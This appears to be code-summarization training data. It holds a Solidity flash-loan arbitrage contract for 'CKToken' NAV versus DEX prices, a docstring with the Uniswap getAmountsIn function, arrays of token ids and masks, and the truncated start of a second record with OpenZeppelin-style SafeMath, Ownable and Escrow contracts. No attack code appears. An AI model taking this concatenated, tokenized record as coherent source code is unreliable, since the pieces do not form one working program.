address public constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
uint256 internal constant PRECISE_UNIT = 10 ** 18;
/* ============ State Variables ============ */
mapping(address => AssetExchange) private assetExchanges_;
address public feeRecipient_;
/* ============ Constructor ============ */
/**
* Initialize AAVE FlashLoanReceiverBase.
*
* @param _addressProvider Instance of LendingPoolAddressesProvider
*/
constructor(
address _feeRecipient,
ILendingPoolAddressesProvider _addressProvider
)
public
FlashLoanReceiverBase(_addressProvider)
{
require(_feeRecipient != address(0), "invalid address");
feeRecipient_ = _feeRecipient;
}
/* ============ External Functions ============ */
/**
* Set fee recipient
*
* @param _feeRecipient Address of fee recipient
*/
function setFeeRecipient(
address _feeRecipient
)
external
onlyOwner
{
require(_feeRecipient != address(0), "invalid address");
feeRecipient_ = _feeRecipient;
}
/**
* Set exchange per asset. You need to set the exchanges for all assets of the CK,
* as well as the exchange for the CK itself. The pair for CK, should be CK/WETH or WETH/CK
*
* @param _assets Array of assets
* @param _dealers Array of dealers. For Uniswap V2 or Sushiswap, dealer is the pair address
* @param _ids Array of id of exchange
*/
function setAssetExchanges(
address[] memory _assets,
address[] memory _dealers,
uint256[] memory _ids
)
external
onlyOwner
{
require(_assets.length == _dealers.length, "array not match");
require(_dealers.length == _ids.length, "array not match");
for (uint256 i = 0; i < _assets.length; i++) {
address asset = _assets[i];
require(asset != WETH_ADDRESS, "WETH don't require an exchange");
uint256 id = _ids[i];
require(id == 0 || id == 1, "only support UniswapV2 or Sushiswap now");
address dealer = _dealers[i];
IUniswapV2Pair pair = IUniswapV2Pair(dealer);
require(asset == pair.token0() || asset == pair.token1(), "should be valid pair");
assetExchanges_[asset].dealer = dealer;
assetExchanges_[asset].id = id;
}
}
/**
* Issue CKToken and sell it on DEX to make equal for the price of CKValuer and the price of DEX
*
* @param _ckToken Address of CKToken to arbitrage
* @param _issuanceModule Address of Issuance Module of the CKToken
* @param _coverAmount Amount to cover at least
*/
function liquidateNavToDex(address _ckToken, address _issuanceModule, uint256 _coverAmount) external {
require(_coverAmount > 0, "coverAmount should be greater than 0");
require(ICKToken(_ckToken).isInitializedModule(_issuanceModule), "BasicIssuanceModule must be initialized");
(uint256 ckAmountToIssue, uint256 wethAmountToLoan) = _calcIssueAndLoanAmounts(_ckToken, _issuanceModule);
// Flash loan from AAVE
_flashLoan(_ckToken, _issuanceModule, _coverAmount, wethAmountToLoan, ckAmountToIssue, true);
}
/**
* Buy CK on DEX and redeem it to make equal for the price of CKValuer and the price of DEX
*
* @param _ckToken Address of CKToken to arbitrage
* @param _issuanceModule Address of Issuance Module of the CKToken
* @param _coverAmount Amount to cover at least
*/
function liquidateDexToNav(address _ckToken, address _issuanceModule, uint256 _coverAmount) external {
require(_coverAmount > 0, "coverAmount should be greater than 0");
require(ICKToken(_ckToken).isInitializedModule(_issuanceModule), "BasicIssuanceModule must be initialized");
(uint256 ckAmountToRedeem, uint256 wethAmountToLoan) = _calcRedeemAndLoanAmounts(_ckToken);
// Flash loan from AAVE
_flashLoan(_ckToken, _issuanceModule, _coverAmount, wethAmountToLoan, ckAmountToRedeem, false);
}
/**
* This function is called after your contract has received the flash loaned amount
*
* @param assets Array of loaned assets addresses
* @param amounts Array of loaned amounts
* @param premiums Array of premium amounts
* @param initiator Account who initiated the loan
* @param params Internal params
*/
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
)
external
override
returns (bool)
{
require(initiator == address(this), "should be valid initiator");
require(assets[0] == WETH_ADDRESS, "should loan only WETH");
uint256 wethAmountOwing = amounts[0].add(premiums[0]);
_executeArbitrage(params, wethAmountOwing);
// Approve the LendingPool contract allowance to *pull* the owed amount
IERC20(assets[0]).safeIncreaseAllowance(address(LENDING_POOL), wethAmountOwing);
return true;
}
/* ============ Getter Functions ============ */
/**
* Get NAV price of the CKToken
*
* @param _ckToken Address of CKToken to arbitrage
*/
function getCKNavPrice(address _ckToken) external view returns (uint256) {
return _calcCKNavPrice(ICKToken(_ckToken));
}
/**
* Get DEX price of the CKToken
*
* @param _ckToken Address of CKToken to arbitrage
*/
function getCKDexPrice(address _ckToken) external view returns (uint256) {
return _getPriceFromUniswapV2Like(_ckToken);
}
/* ============ Internal Functions ============ */
/**
* Calculate sqrt
*
* @param y number to be sqrt
*
* @return z result
*/
function _sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
/**
* Flash Loan ETH from AAVE
*
* @param _ckToken Address of CKToken to arbitrage
* @param _issuanceModule Address of Issuance Module of the CKToken
* @param _coverAmount Amount to cover at least
* @param _wethAmountToLoan WETH amount to loan
* @param _ckAmountToProcess CKToken amount to issue/redeem
* @param _isIssue If the liquidation is for NAV->DEX, it's true. If DEX->NAV, it's false
*/
function _flashLoan(
address _ckToken,
address _issuanceModule,
uint256 _coverAmount,
uint256 _wethAmountToLoan,
uint256 _ckAmountToProcess,
bool _isIssue
) internal {
// Flash loan from AAVE
address receiverAddress = address(this);
address[] memory assets = new address[](1);
assets[0] = WETH_ADDRESS;
uint256[] memory amounts = new uint256[](1);
amounts[0] = _wethAmountToLoan;
// 0 = no debt, 1 = stable, 2 = variable
uint256[] memory modes = new uint256[](1);
modes[0] = 0;
address onBehalfOf = address(this);
bytes memory params = abi.encode(
_ckToken,
_issuanceModule,
_coverAmount,
_ckAmountToProcess,
_isIssue
);
uint16 referralCode = 0;
LENDING_POOL.flashLoan(
receiverAddress,
assets,
amounts,
modes,
onBehalfOf,
params,
referralCode
);
}
/**
* Execute arbitrage
*
* @param params Internal params
* @param wethAmountOwing WETH amount owed from flash loan
*/
function _executeArbitrage(bytes calldata params, uint256 wethAmountOwing) internal {
(
address _ckToken,
address _issuanceModule,
uint256 _coverAmount,
uint256 _ckAmountToProcess,
bool _isIssue
) = abi.decode(params, (address, address, uint256, uint256, bool));
if (_isIssue) {
// if it's the liquidation from NAV to DEX
// issue ckToken and sell for WETH
_issueCKAndSell(_ckToken, _issuanceModule, _ckAmountToProcess);
} else {
// if it's the liquidation from DEX to NAV
// buy ckToken and redeem it for components. Sell components for WETH
_buyCKAndRedeem(_ckToken, _issuanceModule, _ckAmountToProcess);
}
uint256 wethOut = IERC20(WETH_ADDRESS).balanceOf(address(this));
require(wethOut - wethAmountOwing >= _coverAmount, "should cover");
// transfer the profit
IERC20(WETH_ADDRESS).safeTransfer(feeRecipient_, wethOut - wethAmountOwing);
}
/**
* Issue CKToken and sell it for WETH. Before issue, all required components will be swapped.
*
* @param _ckToken Address of the CKToken
* @param _issuanceModule Basic Issuance Module address
* @param _amountToIssue CKToken amount to issue
*/
function _issueCKAndSell(address _ckToken, address _issuanceModule, uint256 _amountToIssue) internal {
(
address[] memory components,
uint256[] memory componentQuantities
) = IBasicIssuanceModule(_issuanceModule).getRequiredComponentUnitsForIssue(
ICKToken(_ckToken),
_amountToIssue
);
for (uint256 i = 0; i < components.length; i++) {
IERC20 component = IERC20(components[i]);
uint256 quantity = componentQuantities[i];
if (address(component) != WETH_ADDRESS) {
_swapTokenUniswapV2Like(address(component), quantity, true);
}
// approve every component for basic issuance module
if (component.allowance(address(this), _issuanceModule) < quantity) {
component.safeIncreaseAllowance(_issuanceModule, quantity);
}
}
// Issue the CKToken
IBasicIssuanceModule(_issuanceModule).issue(ICKToken(_ckToken), _amountToIssue, address(this));
// swap CKToken -> WETH
_swapTokenUniswapV2Like(_ckToken, _amountToIssue, false);
}
/**
* Buy CKToken and redeem it for components. Sell the components for WETH.
*
* @param _ckToken Address of the CKToken
* @param _issuanceModule Basic Issuance Module address
* @param _amountToRedeem CKToken amount to redeem/buy
*/
function _buyCKAndRedeem(address _ckToken, address _issuanceModule, uint256 _amountToRedeem) internal {
// swap WETH -> CKToken
_swapTokenUniswapV2Like(_ckToken, _amountToRedeem, true);
// redeem CKToken
IERC20(_ckToken).safeIncreaseAllowance(_issuanceModule, _amountToRedeem);
IBasicIssuanceModule(_issuanceModule).redeem(ICKToken(_ckToken), _amountToRedeem, address(this));
// sell components for WETH
address[] memory components = ICKToken(_ckToken).getComponents();
for (uint256 i = 0; i < components.length; i++) {
IERC20 component = IERC20(components[i]);
uint256 quantity = component.balanceOf(address(this));
if (address(component) != WETH_ADDRESS) {
// sell every component for WETH
_swapTokenUniswapV2Like(address(component), quantity, false);
}
}
}
/**
* Swap tokens out for an asset via Uniswap V2 like DEX.
*
* @param _asset Address of an asset
* @param _amount Amount of the asset to swap out
* @param _isForOut true when _amount is out, false when _amount is in
*
* @return resultAmount WETH Amount in or out
*/
function _swapTokenUniswapV2Like(
address _asset,
uint256 _amount,
bool _isForOut
)
internal
returns (uint256 resultAmount)
{
address factory = _getFactoryForUniswapV2Like(_asset);
(
uint256[] memory amounts,
address[] memory path
) = _getAmountsAndPathsUniswapV2Like(_asset, _amount, _isForOut);
if(_isForOut) {
// resultAmount is the amount to in
resultAmount = amounts[0];
} else {
// resultAmount is the amount to out
resultAmount = amounts[amounts.length - 1];
}
// If _isForOut true, path[0] is WETH. Send the WETH to the path's first pair and the result will be _asset.
// If _isForOut false, path[0] is _asset. Send the _asset to the path's first pair and the result will be WETH.
IERC20(path[0]).safeTransfer(UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]);
_swapUniswapV2Like(factory, amounts, path);
}
/**
* Calculate CKToken issue amount and ETH loan amount.
*
* @param _ckToken Address of the CKToken
* @param _issuanceModule Basic Issuance Module address
*
* @return uint256 Amount of CKToken to issue
* @return uint256 Amount of ETH to loan
*/
function _calcIssueAndLoanAmounts(
address _ckToken,
address _issuanceModule
)
internal
view
returns (uint256, uint256)
{
uint256 ckTargetPrice = _calcTargetPrice(_ckToken, true);
(uint256 reserveCK, uint256 reserveWETH) =
UniswapV2Library.getReserves(_getFactoryForUniswapV2Like(_ckToken), _ckToken, WETH_ADDRESS);
require(reserveCK > 0 && reserveWETH > 0, "Pair has no reserve");
uint256 sqrReserve = reserveCK
.mul(reserveWETH)
.mul(
10 ** (
uint256(18)
.add(ERC20(_ckToken).decimals())
.sub(ERC20(WETH_ADDRESS).decimals())
)
)
.div(ckTargetPrice);
uint256 ckAmountToIssue = _sqrt(sqrReserve).sub(reserveCK);
// calculate WETH amount to loan
uint256 ethAmountToLoan;
(
address[] memory components,
uint256[] memory componentQuantities
) = IBasicIssuanceModule(_issuanceModule).getRequiredComponentUnitsForIssue(ICKToken(_ckToken), ckAmountToIssue);
for (uint256 i = 0; i < components.length; i++) {
if (components[i] != WETH_ADDRESS) {
(
uint256[] memory amounts,
) = _getAmountsAndPathsUniswapV2Like(components[i], componentQuantities[i], true);
ethAmountToLoan = ethAmountToLoan.add(amounts[0]);
} else {
ethAmountToLoan = ethAmountToLoan.add(componentQuantities[i]);
}
}
return (ckAmountToIssue, ethAmountToLoan);
}
/**
* Calculate the target price for issue/redeem. Target price is the price after issue & sell or buy & redeem.
*
* @param _ckToken Instance of the CKToken
* @param _isIssue If the target is for issue or redeem
*
* @return ckTargetPrice Target price of ckToken
*/
function _calcTargetPrice(address _ckToken, bool _isIssue) internal view returns (uint256 ckTargetPrice) {
require(assetExchanges_[_ckToken].dealer != address(0), "ckToken should have valid exchange");
// UniswapV2Pair and SushiswapPair are using same interface
IUniswapV2Pair pair = IUniswapV2Pair(assetExchanges_[_ckToken].dealer);
address token0 = pair.token0();
address token1 = pair.token1();
require(
(token0 == _ckToken && token1 == WETH_ADDRESS)
|| (token1 == _ckToken && token0 == WETH_ADDRESS),
"only support ckToken/WETH or WETH/ckToken pair"
);
uint256 ckNavPrice = _calcCKNavPrice(ICKToken(_ckToken));
uint256 ckDexPrice = _getPriceFromUniswapV2Like(_ckToken);
if (_isIssue) {
require(ckDexPrice > ckNavPrice.mul(101).div(100), "DEX price should be greater than NAV price over 1%");
// ckTargetPrice is the final price after the arbitrage trades are done.
// ckTargetPrice = ckNavPrice + 10%(ckDexPrice - ckNavPrice)
ckTargetPrice = ckNavPrice.add(ckDexPrice.sub(ckNavPrice).div(10));
} else {
require(ckNavPrice > ckDexPrice.mul(101).div(100), "NAV price should be greater than DEX price over 1%");
// ckTargetPrice = ckNavPrice - 10%(ckNavPrice - ckDexPrice)
ckTargetPrice = ckNavPrice.sub(ckNavPrice.sub(ckDexPrice).div(10));
}
}
/**
* Calculate CKToken Redeem amount and ETH loan amount.
*
* @param _ckToken Address of the CKToken
*
* @return uint256 Amount of CKToken to redeem
* @return uint256 Amount of ETH to loan
*/
function _calcRedeemAndLoanAmounts(
address _ckToken
)
internal
view
returns (uint256, uint256)
{
uint256 ckTargetPrice = _calcTargetPrice(_ckToken, false);
address factory = _getFactoryForUniswapV2Like(_ckToken);
(uint256 reserveCK, uint256 reserveWETH) =
UniswapV2Library.getReserves(factory, _ckToken, WETH_ADDRESS);
require(reserveCK > 0 && reserveWETH > 0, "Pair has no reserve");
uint256 sqrReserve = reserveCK
.mul(reserveWETH)
.mul(ckTargetPrice)
.div(
10 ** (
uint256(18)
.add(ERC20(_ckToken).decimals())
.sub(ERC20(WETH_ADDRESS).decimals())
)
);
uint256 ethAmountToLoan = _sqrt(sqrReserve).sub(reserveWETH);
// calculate CK amount to redeem(buy)
address[] memory path = new address[](2);
path[0] = WETH_ADDRESS;
path[1] = _ckToken;
uint256[] memory amounts = UniswapV2Library.getAmountsOut(factory, ethAmountToLoan, path);
return (amounts[1], ethAmountToLoan);
}
/**
* Calculate CKToken Nav Price.
*
* @param _ckToken Instance of the CKToken
*
* @return uint256 CKToken Nav Price in terms of WETH in precise units 1e18
*/
function _calcCKNavPrice(ICKToken _ckToken) internal view returns (uint256) {
address[] memory components = _ckToken.getComponents();
uint256 valuation;
for (uint256 i = 0; i < components.length; i++) {
address component = components[i];
uint256 componentPrice = uint256(10) ** ERC20(WETH_ADDRESS).decimals();
if (component != WETH_ADDRESS) {
componentPrice = _getPriceFromUniswapV2Like(component);
}
uint256 aggregateUnits = _ckToken.getTotalComponentRealUnits(component).toUint256();
// Normalize each position unit to preciseUnits 1e18 and cast to signed int
uint256 unitDecimals = ERC20(component).decimals();
uint256 baseUnits = 10 ** unitDecimals;
uint256 normalizedUnits = aggregateUnits.mul(PRECISE_UNIT).div(baseUnits);
// Calculate valuation of the component, and sum
valuation = normalizedUnits.mul(componentPrice).div(PRECISE_UNIT).add(valuation);
}
return valuation;
}
/**
* Get a price of an asset from uniswap in terms of WETH.
*
* @param _asset Instance of the token
*
* @return uint256 Price of of an asset in terms of WETH in precise units 1e18
*/
function _getPriceFromUniswapV2Like(address _asset) internal view returns (uint256) {
require(assetExchanges_[_asset].dealer != address(0), "should have valid exchange");
// UniswapV2Pair and SushiswapPair are using same interface
IUniswapV2Pair pair = IUniswapV2Pair(assetExchanges_[_asset].dealer);
address token0 = pair.token0();
address token1 = pair.token1();
address baseAsset = _asset;
address quoteAsset;
if (baseAsset == token0) {
quoteAsset = token1;
} else {
quoteAsset = token0;
}
address factory = _getFactoryForUniswapV2Like(_asset);
(uint256 reserveBase, uint256 reserveQuote) = UniswapV2Library.getReserves(factory, baseAsset, quoteAsset);
require(reserveBase > 0 && reserveQuote > 0, "Pair has no reserve");
uint256 price = reserveQuote
.mul(10 ** (uint256(18).add(ERC20(baseAsset).decimals()).sub(ERC20(quoteAsset).decimals())))
.div(reserveBase);
if (quoteAsset != WETH_ADDRESS) {
(uint256 reserveSecond, uint256 reserveWETH) = UniswapV2Library.getReserves(factory, quoteAsset, WETH_ADDRESS);
require(reserveSecond > 0 && reserveWETH > 0, "Pair(WETH) has no reserve");
uint256 priceSecond = reserveWETH
.mul(10 ** (uint256(18).add(ERC20(quoteAsset).decimals()).sub(ERC20(WETH_ADDRESS).decimals())))
.div(reserveSecond);
price = price.mul(priceSecond).div(PRECISE_UNIT);
}
return price;
}
/**
* Get the factory of Uniswap V2 or Sushiswap for an asset
*
* @param _asset Instance of the token
*
* @return address Address of the factory
*/
function _getFactoryForUniswapV2Like(address _asset) internal view returns (address) {
address factory;
if (assetExchanges_[_asset].id == 0) {
factory = UNI_V2_FACTORY;
} else if (assetExchanges_[_asset].id == 1) {
factory = SUSHI_FACTORY;
}
return factory;
}
/**
* Get the path and amounts for Uniswap V2 swap.
* If _isForOut true, path will be like WETH->assetMiddle->_asset. _amount is output amount.
* If _isForOut false, path will be like _asset->assetMiddle->WETH. _amount is input amount.
*
* @param _asset Instance of the token
* @param _amount Amount to output/input
* @param _isForOut Indicates if the amount is output or input
*/
function _getAmountsAndPathsUniswapV2Like(
address _asset,
uint256 _amount,
bool _isForOut
)
internal
view
returns (uint256[] memory amounts, address[] memory path)
{
address factory = _getFactoryForUniswapV2Like(_asset);
IUniswapV2Pair pair = IUniswapV2Pair(assetExchanges_[_asset].dealer);
address token0 = pair.token0();
address token1 = pair.token1();
address assetMiddle = _asset == token0 ? token1 : token0;
uint8 pathLength = assetMiddle == WETH_ADDRESS ? 2 : 3;
path = new address[](pathLength);
path[0] = _asset;
path[1] = assetMiddle;
if (assetMiddle != WETH_ADDRESS) {
path[2] = WETH_ADDRESS;
}
if (_isForOut) {
// reverse the path array
address t;
for (uint i = 0; i < pathLength / 2; i++) {
t = path[i];
path[i] = path[pathLength - i - 1];
path[pathLength - i - 1] = t;
}
}
amounts = _isForOut ?
UniswapV2Library.getAmountsIn(factory, _amount, path)
:
UniswapV2Library.getAmountsOut(factory, _amount, path);
}
/**
* Swap assets through the path in Uniswap V2 like Dex. Requires the initial amount to
* have already been sent to the first pair.
*
* @param factory Factory of the dex
* @param amounts Array of amounts in sequence
* @param path Path in sequence
*/
function _swapUniswapV2Like(address factory, uint[] memory amounts, address[] memory path) internal {
for (uint i; i < path.length - 1; i++) {
(address input, address output) = (path[i], path[i + 1]);
(address token0,) = UniswapV2Library.sortTokens(input, output);
uint amountOut = amounts[i + 1];
(uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOut) : (amountOut, uint(0));
address to = i < path.length - 2 ? UniswapV2Library.pairFor(factory, output, path[i + 2]) : address(this);
IUniswapV2Pair(UniswapV2Library.pairFor(factory, input, output)).swap(
amount0Out, amount1Out, to, new bytes(0)
);
}
}
}
|
performs chained getAmountIn calculations on any number of pairs
|
function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, "UniswapV2Library: INVALID_PATH");
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
| 2,238,255 |
[
1,
457,
9741,
20269,
24418,
382,
20882,
603,
1281,
1300,
434,
5574,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
24418,
87,
382,
12,
2867,
3272,
16,
2254,
3844,
1182,
16,
1758,
8526,
3778,
589,
13,
2713,
1476,
1135,
261,
11890,
8526,
3778,
30980,
13,
288,
203,
3639,
2583,
12,
803,
18,
2469,
1545,
576,
16,
315,
984,
291,
91,
438,
58,
22,
9313,
30,
10071,
67,
4211,
8863,
203,
3639,
30980,
273,
394,
2254,
8526,
12,
803,
18,
2469,
1769,
203,
3639,
30980,
63,
8949,
87,
18,
2469,
300,
404,
65,
273,
3844,
1182,
31,
203,
3639,
364,
261,
11890,
277,
273,
589,
18,
2469,
300,
404,
31,
277,
405,
374,
31,
277,
413,
13,
288,
203,
5411,
261,
11890,
20501,
382,
16,
2254,
20501,
1182,
13,
273,
31792,
264,
3324,
12,
6848,
16,
589,
63,
77,
300,
404,
6487,
589,
63,
77,
19226,
203,
5411,
30980,
63,
77,
300,
404,
65,
273,
24418,
382,
12,
8949,
87,
63,
77,
6487,
20501,
382,
16,
20501,
1182,
1769,
203,
3639,
289,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library SafeMath16 {
function mul(uint16 a, uint16 b) internal pure returns (uint16) {
if (a == 0) {
return 0;
}
uint16 c = a * b;
assert(c / a == b);
return c;
}
function div(uint16 a, uint16 b) internal pure returns (uint16) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint16 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesnโt hold
return c;
}
function sub(uint16 a, uint16 b) internal pure returns (uint16) {
assert(b <= a);
return a - b;
}
function add(uint16 a, uint16 b) internal pure returns (uint16) {
uint16 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(
ERC20Basic _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
/**
* @title Escrow
* @dev Base escrow contract, holds funds destinated to a payee until they
* withdraw them. The contract that uses the escrow as its payment method
* should be its owner, and provide public methods redirecting to the escrow's
* deposit and withdraw.
*/
contract Escrow is Ownable {
using SafeMath for uint256;
event Deposited(address indexed payee, uint256 weiAmount);
event Withdrawn(address indexed payee, uint256 weiAmount);
mapping(address => uint256) private deposits;
function depositsOf(address _payee) public view returns (uint256) {
return deposits[_payee];
}
/**
* @dev Stores the sent amount as credit to be withdrawn.
* @param _payee The destination address of the funds.
*/
function deposit(address _payee) public onlyOwner payable {
uint256 amount = msg.value;
deposits[_payee] = deposits[_payee].add(amount);
emit Deposited(_payee, amount);
}
/**
* @dev Withdraw accumulated balance for a payee.
* @param _payee The address whose funds will be withdrawn and transferred to.
*/
function withdraw(address _payee) public onlyOwner {
uint256 payment = deposits[_payee];
assert(address(this).balance >= payment);
deposits[_payee] = 0;
_payee.transfer(payment);
emit Withdrawn(_payee, payment);
}
}
/**
* @title PullPayment
* @dev Base contract supporting async send for pull payments. Inherit from this
* contract and use asyncTransfer instead of send or transfer.
*/
contract PullPayment {
Escrow private escrow;
constructor() public {
escrow = new Escrow();
}
/**
* @dev Withdraw accumulated balance, called by payee.
*/
function withdrawPayments() public {
address payee = msg.sender;
escrow.withdraw(payee);
}
/**
* @dev Returns the credit owed to an address.
* @param _dest The creditor's address.
*/
function payments(address _dest) public view returns (uint256) {
return escrow.depositsOf(_dest);
}
/**
* @dev Called by the payer to store the sent amount as credit to be pulled.
* @param _dest The destination address of the funds.
* @param _amount The amount to transfer.
*/
function asyncTransfer(address _dest, uint256 _amount) internal {
escrow.deposit.value(_amount)(_dest);
}
}
/***************************************************************
* Modified Crowdsale.sol from the zeppelin-solidity framework *
* to support zero decimal token. The end time has been *
* removed. *
* https://github.com/OpenZeppelin/zeppelin-solidity *
***************************************************************/
/*****************************************************************
* Core contract of the Million Dollar Decentralized Application *
*****************************************************************/
/**
* @title Contracts that should not own Ether
* @author Remco Bloemen <remco@2ฯ.com>
* @dev This tries to block incoming ether to prevent accidental loss of Ether. Should Ether end up
* in the contract, it will allow the owner to reclaim this Ether.
* @notice Ether can still be sent to this contract by:
* calling functions labeled `payable`
* `selfdestruct(contract_address)`
* mining directly to the contract address
*/
contract HasNoEther is Ownable {
/**
* @dev Constructor that rejects incoming Ether
* The `payable` flag is added so we can access `msg.value` without compiler warning. If we
* leave out payable, then Solidity will allow inheriting contracts to implement a payable
* constructor. By doing it this way we prevent a payable constructor from working. Alternatively
* we could use assembly to access msg.value.
*/
constructor() public payable {
require(msg.value == 0);
}
/**
* @dev Disallows direct send by setting a default function without the `payable` flag.
*/
function() external {
}
/**
* @dev Transfer all Ether held by the contract to the owner.
*/
function reclaimEther() external onlyOwner {
owner.transfer(address(this).balance);
}
}
/**
* @title Contracts that should be able to recover tokens
* @author SylTi
* @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner.
* This will prevent any accidental loss of tokens.
*/
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
/**
* @dev Reclaim all ERC20Basic compatible tokens
* @param _token ERC20Basic The address of the token contract
*/
function reclaimToken(ERC20Basic _token) external onlyOwner {
